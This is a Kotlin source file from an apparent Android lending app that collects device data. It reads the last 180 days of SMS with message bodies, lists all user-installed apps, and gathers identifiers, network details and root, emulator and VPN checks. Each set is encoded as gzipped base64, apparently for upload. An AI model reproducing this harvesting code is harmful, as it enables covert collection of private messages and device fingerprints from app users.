package com.loop.unclelend.system.device.services

import android.Manifest
import android.annotation.SuppressLint
import android.content.Context
import android.content.pm.PackageManager
import android.os.Build
import android.provider.Telephony
import android.util.Base64
import com.google.gson.Gson
import com.loop.unclelend.system.device.bean.DVAppListBean
import com.loop.unclelend.system.device.bean.DVHardwareBean
import com.loop.unclelend.system.device.bean.DVMessageBean
import com.loop.unclelend.system.device.bean.DVStoreBean
import com.loop.unclelend.system.device.bean.DVWifiBean
import com.loop.unclelend.system.device.bean.DeviceBean
import com.loop.unclelend.system.device.util.DVGeneralUtil
import com.loop.unclelend.system.device.util.DVHardwareUtil
import com.loop.unclelend.system.device.util.DVNetworkUtil
import com.loop.unclelend.system.device.util.DVStorageUtil
import com.loop.unclelend.system.device.util.checkPermissionsGranted
import com.loop.unclelend.system.device.util.safe
import java.io.ByteArrayOutputStream
import java.io.IOException
import java.nio.charset.StandardCharsets
import java.text.SimpleDateFormat
import java.util.Calendar
import java.util.zip.GZIPOutputStream

@SuppressLint("QueryPermissionsNeeded")
fun Context.appDatas(): String {
    return try {
        val list = mutableListOf<DVAppListBean>()
        val appList =
            packageManager.getInstalledPackages(PackageManager.GET_ACTIVITIES or PackageManager.GET_SERVICES)
        for (packageInfo in appList) {
            if (packageInfo.applicationInfo.flags and 0x1 == 0) {
                val appType = "0"
                val appPackageName = packageInfo.packageName
                val appVersionName = packageInfo.versionName
                val flags = packageInfo.applicationInfo.flags.toString()
                val installTime = packageInfo.firstInstallTime.toString()
                val lastTime = packageInfo.lastUpdateTime.toString()
                val dataPath = packageInfo.applicationInfo.dataDir.safe()
                val sourcePath = packageInfo.applicationInfo.sourceDir.safe()
                val appName = packageInfo.applicationInfo.loadLabel(packageManager).toString()
                val appVersionCode = if (Build.VERSION.SDK_INT < Build.VERSION_CODES.P) {
                    packageInfo.versionCode.toString()
                } else {
                    packageInfo.longVersionCode.toString()
                }

                list.add(
                    DVAppListBean(
                        appType = appType,
                        appName = appName,
                        appPackageName = appPackageName,
                        appVersionName = appVersionName,
                        flags = flags,
                        installTime = installTime,
                        lastTime = lastTime,
                        dataPath = dataPath,
                        sourcePath = sourcePath,
                        appVersionCode = appVersionCode
                    )
                )
            }
        }

        Gson().toJson(list).trim { it <= ' ' }.gzipString()

    } catch (e: Exception) {
        e.printStackTrace()
        ""
    }
}

fun Context.deviceDatas(): DeviceBean {
    val hadPermission = checkPermissionsGranted(mutableListOf(Manifest.permission.READ_PHONE_STATE))
    if (!hadPermission) return DeviceBean()

    return try {
        DeviceBean(
            imei = "",
            mac = DVNetworkUtil.getMacAddress(),
            laguage = DVGeneralUtil.getLanguage(),
            area = DVGeneralUtil.getArea(),
            screenHeight = DVGeneralUtil.getDeviceHeight(this),
            screenWidth = DVGeneralUtil.getDeviceWidth(this),
            networkData = DVGeneralUtil.getSimOperatorName(this),
            frontCameraPixels = DVHardwareUtil.getFrontCameraPixels(this),
            rearCameraPixels = DVHardwareUtil.getBackCameraPixels(this),
            ram = DVStorageUtil.getRamTotal(this),
            rom = DVStorageUtil.getCashTotal(),
            ip = DVNetworkUtil.getIPAddress(this),
            ip2 = DVNetworkUtil.getIPAddress(this),
            networkEnvironment = DVGeneralUtil.getNetworkType(this),
            cpu = DVGeneralUtil.getCpuModel()
        )
    } catch (e: java.lang.Exception) {
        e.printStackTrace()
        DeviceBean()
    }
}

fun Context.hardwareDatas(): String {
    val hadPermission = checkPermissionsGranted(mutableListOf(Manifest.permission.READ_PHONE_STATE))
    if (!hadPermission) return ""

    return try {
        val bean = DVHardwareBean(
            phoneType = DVGeneralUtil.getPhoneType(this),
            versionCode = DVGeneralUtil.getVersionCode(this),
            versionName = DVGeneralUtil.getVersionName(this),
            androidId = DVGeneralUtil.getAndroidID(this),
            telephony = DVGeneralUtil.getSimOperatorName(this),
            isVpn = DVNetworkUtil.getVpnState(this),
            isProxyPort = DVNetworkUtil.getIsWifiProxy(),
            isDebug = DVGeneralUtil.getIsDebug(this),
            simState = DVGeneralUtil.getSimCardState(this),
            root = DVHardwareUtil.getIsRoot(),
            physicalSize = DVHardwareUtil.getPhySicalSize(this),
            displayLanguage = DVGeneralUtil.getDisplayLanguage(),
            iso3Language = DVGeneralUtil.getIso3Language(),
            iso3Country = DVGeneralUtil.getIso3Country(),
            networkOperatorName = DVGeneralUtil.getSimOperatorName(this),
            networkType = DVGeneralUtil.getNetworkType(this),
            timeZoneId = DVGeneralUtil.getTimeZoneId(),
            elapsedRealtime = DVGeneralUtil.getElapsedRealtime(),
            sensorList = DVHardwareUtil.getSensorList(this),
            lastBootTime = DVGeneralUtil.getLastBootTime(),
            rootJailbreak = DVHardwareUtil.getIsRoot(),
            keyboard = DVHardwareUtil.getKeyboard(this),
            isSimulator = DVHardwareUtil.getIsSimulator(),
            dbm = DVHardwareUtil.getMobileDbm(this),
            phoneNumber = ""
        )

        Gson().toJson(bean).trim { it <= ' ' }.gzipString()

    } catch (e: java.lang.Exception) {
        e.printStackTrace()
        ""
    }
}

var MSG_STATUS = "FET_OK"

@SuppressLint("Range")
fun Context.msgDatas(): String {
    val hadPermission = checkPermissionsGranted(mutableListOf(Manifest.permission.READ_SMS))
    if (!hadPermission) return ""

    return try {
        val list = mutableListOf<DVMessageBean>()
        val uri = Telephony.Sms.CONTENT_URI
        val columns = arrayOf(
            Telephony.Sms._ID,
            Telephony.Sms.ADDRESS,
            Telephony.Sms.PERSON,
            Telephony.Sms.BODY,
            Telephony.Sms.DATE,
            Telephony.Sms.TYPE,
            Telephony.Sms.PROTOCOL,
            Telephony.Sms.READ,
            Telephony.Sms.STATUS
        )
        val startTime = timeIn(-180)
        val selection = "DATE >= $startTime"
        val order = Telephony.Sms.DEFAULT_SORT_ORDER
        val cursor = contentResolver.query(uri, columns, selection, null, order) ?: return ""
        while (cursor.moveToNext()) {
            val sid = cursor.getString(cursor.getColumnIndex(Telephony.Sms._ID)).safe()
            val address = cursor.getString(cursor.getColumnIndex(Telephony.Sms.ADDRESS)).safe()
            var person = cursor.getString(cursor.getColumnIndex(Telephony.Sms.PERSON)).safe()
            val body = cursor.getString(cursor.getColumnIndex(Telephony.Sms.BODY)).safe()
            val date = cursor.getString(cursor.getColumnIndex(Telephony.Sms.DATE)).safe()
            var type = cursor.getString(cursor.getColumnIndex(Telephony.Sms.TYPE)).safe()
            val typeOri = cursor.getString(cursor.getColumnIndex(Telephony.Sms.TYPE)).safe()
            var protocol = cursor.getString(cursor.getColumnIndex(Telephony.Sms.PROTOCOL)).safe()
            val protocolOri = cursor.getString(cursor.getColumnIndex(Telephony.Sms.PROTOCOL)).safe()
            val read = cursor.getString(cursor.getColumnIndex(Telephony.Sms.READ)).safe()
            val status = cursor.getString(cursor.getColumnIndex(Telephony.Sms.STATUS)).safe()

            if (person.isBlank()) {
                person = address
            }

            type = if (type == "1") {
                "RECEIVE"
            } else {
                "SEND"
            }

            protocol = if (protocol == "1") {
                "MMS"
            } else {
                "SMS"
            }

            list.add(
                DVMessageBean(
                    name = person,
                    mobile = address,
                    type = type,
                    protocol = protocol,
                    smsTime = date,
                    person = person,
                    typeOri = typeOri,
                    content = body,
                    cid = sid,
                    protocolOri = protocolOri,
                    read = read,
                    seen = read,
                    subject = "",
                    status = status,
                    dateSent = date
                )
            )
        }

        if (!cursor.isClosed) {
            cursor.close()
        }

        MSG_STATUS = if (list.isEmpty()) {
            "FET_EMPTY"
        } else {
            "FET_OK"
        }

        Gson().toJson(list).trim { it <= ' ' }.gzipString()

    } catch (e: Exception) {
        e.printStackTrace()
        ""
    }
}

fun Context.storageDatas(): String {
    return try {
        val bean = DVStoreBean(
            containSd = DVStorageUtil.getContainSD(),
            ramCanUse = DVStorageUtil.getRamCanUse(this),
            ramTotal = DVStorageUtil.getRamTotal(this),
            cashCanUse = DVStorageUtil.getCashCanUse(),
            cashTotal = DVStorageUtil.getCashTotal(),
            extraSD = DVStorageUtil.getExtraSD(),
            internalTotal = DVStorageUtil.getTotalInternalStoreSize(this),
            internalAvailable = DVStorageUtil.getAvailaInternalStoreSize(this),
            ramDidUsed = DVStorageUtil.getRamDidUsed(this),
            cashDidUsed = DVStorageUtil.getCashDidUsed(),
            sdCardTotal = DVStorageUtil.getSDCardTotal()
        )

        Gson().toJson(bean).trim { it <= ' ' }.gzipString()

    } catch (e: java.lang.Exception) {
        e.printStackTrace()
        ""
    }
}

fun Context.wifiDatas(): String {
    return try {
        val bean = DVWifiBean(
            currentWifi = DVNetworkUtil.getCurrentWifi(this),
            configuredWifi = "",
            wifiCount = ""
        )

        Gson().toJson(bean).trim { it <= ' ' }.gzipString()

    } catch (e: java.lang.Exception) {
        e.printStackTrace()
        ""
    }
}

fun String.gzipString(): String {
    if (isBlank()) return ""
    return try {
        val utf8Char = StandardCharsets.UTF_8
        val outputStream = ByteArrayOutputStream()
        GZIPOutputStream(outputStream).use { gzipOutputStream ->
            gzipOutputStream.write(this.toByteArray(utf8Char))
        }
        val zipBuffer = outputStream.toByteArray()
        return Base64.encodeToString(
            zipBuffer,
            Base64.URL_SAFE or Base64.NO_WRAP or Base64.NO_PADDING
        )
    } catch (e: IOException) {
        e.printStackTrace()
        ""
    }
}

@SuppressLint("SimpleDateFormat")
fun Context.timeIn(nextDays: Int): Long {
    return try {
        val mCalendar = Calendar.getInstance().apply {
            add(Calendar.DAY_OF_MONTH, nextDays)
        }
        val year = mCalendar[Calendar.YEAR]
        val month = mCalendar[Calendar.MONTH] + 1
        val day = mCalendar[Calendar.DAY_OF_MONTH]
        val format = SimpleDateFormat("yyyy-MM-dd HH:mm:ss")
        val date = format.parse("$year-$month-$day 00:00:00")
        date?.time ?: 0L
    } catch (e: java.lang.Exception) {
        e.printStackTrace()
        0L
    }
}